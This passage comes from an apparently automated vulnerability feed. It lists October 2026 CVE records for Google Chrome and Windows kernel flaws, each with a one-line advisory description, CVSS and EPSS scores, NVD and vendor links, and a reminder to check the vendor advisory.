EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113239&date=2026-10-25).
Sources:
NVD CVE-2026-113239: https://nvd.nist.gov/vuln/detail/CVE-2026-113239
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113239&date=2026-10-25
Range error in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113240
Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113240).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113240&date=2026-10-25).
Sources:
NVD CVE-2026-113240: https://nvd.nist.gov/vuln/detail/CVE-2026-113240
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113240&date=2026-10-25
Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113241
Memory corruption in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Memory corruption in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113241).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113241&date=2026-10-25).
Sources:
NVD CVE-2026-113241: https://nvd.nist.gov/vuln/detail/CVE-2026-113241
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113241&date=2026-10-25
Memory corruption in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113242
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113242).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113242&date=2026-10-25).
Sources:
NVD CVE-2026-113242: https://nvd.nist.gov/vuln/detail/CVE-2026-113242
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113242&date=2026-10-25
Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113243
Memory corruption in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113243).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113243&date=2026-10-25).
Sources:
NVD CVE-2026-113243: https://nvd.nist.gov/vuln/detail/CVE-2026-113243
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113243&date=2026-10-25
Memory corruption in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in UI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113244
Improper input validation in UI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Improper input validation in UI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113244).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113244&date=2026-10-25).
Sources:
NVD CVE-2026-113244: https://nvd.nist.gov/vuln/detail/CVE-2026-113244
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113244&date=2026-10-25
Improper input validation in UI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70108
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70108).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70108&date=2026-10-25).
Sources:
NVD CVE-2026-70108: https://nvd.nist.gov/vuln/detail/CVE-2026-70108
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70108&date=2026-10-25
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows Kernel allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70111
Untrusted pointer dereference in Windows Kernel allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Untrusted pointer dereference in Windows Kernel allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70111).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70111&date=2026-10-25).
Sources:
NVD CVE-2026-70111: https://nvd.nist.gov/vuln/detail/CVE-2026-70111
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70111&date=2026-10-25
Untrusted pointer dereference in Windows Kernel allows an unauthorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70114
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70114).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70114&date=2026-10-25).
Sources:
NVD CVE-2026-70114: https://nvd.nist.gov/vuln/detail/CVE-2026-70114
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70114
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70114&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70117
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70117).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70117&date=2026-10-25).
Sources:
NVD CVE-2026-70117: https://nvd.nist.gov/vuln/detail/CVE-2026-70117
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70117
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70117&date=2026-10-25
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70121
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70121).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70121&date=2026-10-25).
Sources:
NVD CVE-2026-70121: https://nvd.nist.gov/vuln/detail/CVE-2026-70121
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70121
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70121&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70144
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70144).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70144&date=2026-10-25).
Sources:
NVD CVE-2026-70144: https://nvd.nist.gov/vuln/detail/CVE-2026-70144
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70144
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70144&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70160
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70160).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70160&date=2026-10-25).
Sources:
NVD CVE-2026-70160: https://nvd.nist.gov/vuln/detail/CVE-2026-70160
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70160
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70160&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70176
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70176).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70176&date=2026-10-25).
Sources:
NVD CVE-2026-70176: https://nvd.nist.gov/vuln/detail/CVE-2026-70176
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70176
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70176&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70209
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70209).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70209&date=2026-10-25).
Sources:
NVD CVE-2026-70209: https://nvd.nist.gov/vuln/detail/CVE-2026-70209
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70209
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70209&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70236
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70236).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70236&date=2026-10-25).
Sources:
NVD CVE-2026-70236: https://nvd.nist.gov/vuln/detail/CVE-2026-70236
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70236&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70243
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70243).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70243&date=2026-10-25).
Sources:
NVD CVE-2026-70243: https://nvd.nist.gov/vuln/detail/CVE-2026-70243
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70243
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70243&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70249
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70249).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70249&date=2026-10-25).
Sources:
NVD CVE-2026-70249: https://nvd.nist.gov/vuln/detail/CVE-2026-70249
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70249
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70249&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70253
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70253).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70253&date=2026-10-25).
Sources:
NVD CVE-2026-70253: https://nvd.nist.gov/vuln/detail/CVE-2026-70253
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70253
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70253&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70271
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70271).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70271&date=2026-10-25).
Sources:
NVD CVE-2026-70271: https://nvd.nist.gov/vuln/detail/CVE-2026-70271
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70271
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70271&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70273
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70273).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70273&date=2026-10-25).
Sources:
NVD CVE-2026-70273: https://nvd.nist.gov/vuln/detail/CVE-2026-70273
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70273
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70273&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113245
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113245).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113245&date=2026-10-25).
Sources:
NVD CVE-2026-113245: https://nvd.nist.gov/vuln/detail/CVE-2026-113245
